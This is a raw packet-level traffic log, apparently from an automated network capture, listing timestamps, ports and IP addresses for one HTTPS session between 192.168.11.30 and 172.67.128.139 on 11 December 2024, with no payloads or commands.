Dec 11, 2024 12:30:43.340918064 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.340918064 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.340918064 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.342772007 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.342787027 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.343019962 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.343199968 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.343199968 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.343199968 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.343214035 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.344537020 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.344554901 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.344890118 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.344890118 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.344901085 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.346617937 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.346633911 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.346868038 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.346874952 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.347057104 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.347249031 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.348325968 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.348339081 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.348690987 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.348690987 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.348702908 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.350774050 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.350790977 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.350938082 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.350938082 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.350950956 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.351128101 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.351344109 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.351344109 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.352504969 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.352519989 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.352694035 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.352694035 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.352874041 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.352874041 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.352881908 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.354207993 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.354227066 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.354441881 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.354441881 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.354441881 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.354441881 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.354451895 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.354737043 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.355995893 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.356009007 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.356189966 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.356201887 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.356381893 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.356381893 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.358414888 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.358433008 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.358557940 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.358566046 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.358606100 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.358800888 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.358800888 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.359354019 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.359435081 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.359519005 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.359519005 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.359698057 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.359698057 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.359708071 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.359890938 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.537240982 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.537281990 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.537406921 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.537617922 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.537617922 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.537647009 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.537831068 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.538980961 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.539022923 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.539325953 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.539325953 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.539341927 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.539736032 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.540524960 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.540563107 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.540869951 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.540870905 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.540887117 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.541062117 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.542387009 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.542427063 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.542735100 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.542953014 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.542972088 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.543116093 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.544256926 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.544295073 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.544420958 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.544615984 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.544625044 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.544807911 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.545927048 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.545958996 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.546130896 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.546341896 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.546341896 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.546367884 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.546600103 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.547373056 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.547410965 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.547781944 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.547800064 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.548141956 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.548965931 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.549001932 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.549165010 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.549165964 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.549348116 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.549348116 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.549348116 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.549364090 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.549726009 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.550780058 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.550817966 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.550976038 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.551126957 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.551126957 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.551140070 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.551346064 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.552573919 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.552611113 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.552726984 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.552961111 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.552961111 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.552970886 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.553143978 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.554387093 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.554419994 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.554739952 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.554739952 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.554765940 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.555141926 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.555645943 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.555684090 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.556063890 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.556063890 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.556063890 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.556063890 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.556097984 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.556107998 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.556288004 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.557374954 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.557403088 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.557563066 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.557581902 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.557749987 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.557914019 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.559145927 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.559179068 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.559556961 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.559556961 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.559592009 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.559902906 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.560986996 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.561022043 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.561151028 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.561336994 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.561336994 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.561336994 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.561364889 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.561575890 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.562175989 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.562218904 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.562549114 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.562549114 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.562577009 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.562933922 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.564004898 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.564039946 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.564197063 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.564374924 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.564390898 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.564574957 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.564599991 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.565943956 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.565969944 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.566315889 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.566315889 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.566337109 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.566695929 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.567624092 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.567652941 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.567787886 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.567972898 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.567972898 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.567972898 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.567998886 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.568159103 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.569381952 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.569408894 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.569756031 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.569756031 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.569756031 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.569778919 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.569921017 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.570394993 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.570435047 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.570596933 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.570703030 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.570703030 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.570720911 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.571074963 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.572156906 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.572195053 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.572323084 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.572503090 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.572503090 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.572503090 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.572516918 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.572695017 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.573928118 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.573965073 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.574084997 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.574348927 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.574348927 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.574348927 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.574377060 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.574528933 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.576097965 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.576131105 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.576322079 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.576498985 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.576656103 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.576656103 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.576672077 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.576817036 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.577048063 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.577085972 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.577248096 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.577428102 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.577428102 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.577438116 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.577620029 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.577668905 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.578862906 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.578900099 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.579215050 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.579215050 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.579245090 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.579619884 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.580768108 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.580801964 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.581011057 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.581202984 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.581202984 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.581218958 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.581495047 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.582384109 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.582417011 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.582742929 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.582742929 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.582765102 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.582993031 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.584209919 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.584247112 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.584559917 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.584559917 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.584584951 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.584942102 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.585490942 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.585527897 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.585690022 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.585894108 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.585911036 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.586126089 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.587218046 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.587251902 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.587441921 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.587466002 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.587622881 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.587810993 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.589086056 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.589123011 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.589279890 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.589279890 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.589458942 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.589473009 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.589730024 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.590804100 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.590838909 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.590998888 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.591000080 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.591031075 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.591176033 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.591176033 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.591176033 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.592648983 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.592681885 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.593000889 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.593000889 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.593000889 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.593000889 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.593031883 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.593384981 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.594077110 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.594110966 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.594455004 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.594455004 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.594455004 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.594480038 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.594808102 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.595623016 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.595655918 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.595999002 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.595999002 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.595999002 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.596026897 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.596357107 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.597485065 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.597516060 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.597620964 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.597903967 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.597903967 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.597929001 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.598098040 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.598098040 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.599525928 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.599564075 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.599698067 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.599724054 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.599912882 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.599912882 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.600102901 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.600102901 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.601238966 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.601268053 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.601403952 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.601403952 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.601427078 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.601619005 CET	49763	443	192.168.11.30	172.67.128.139
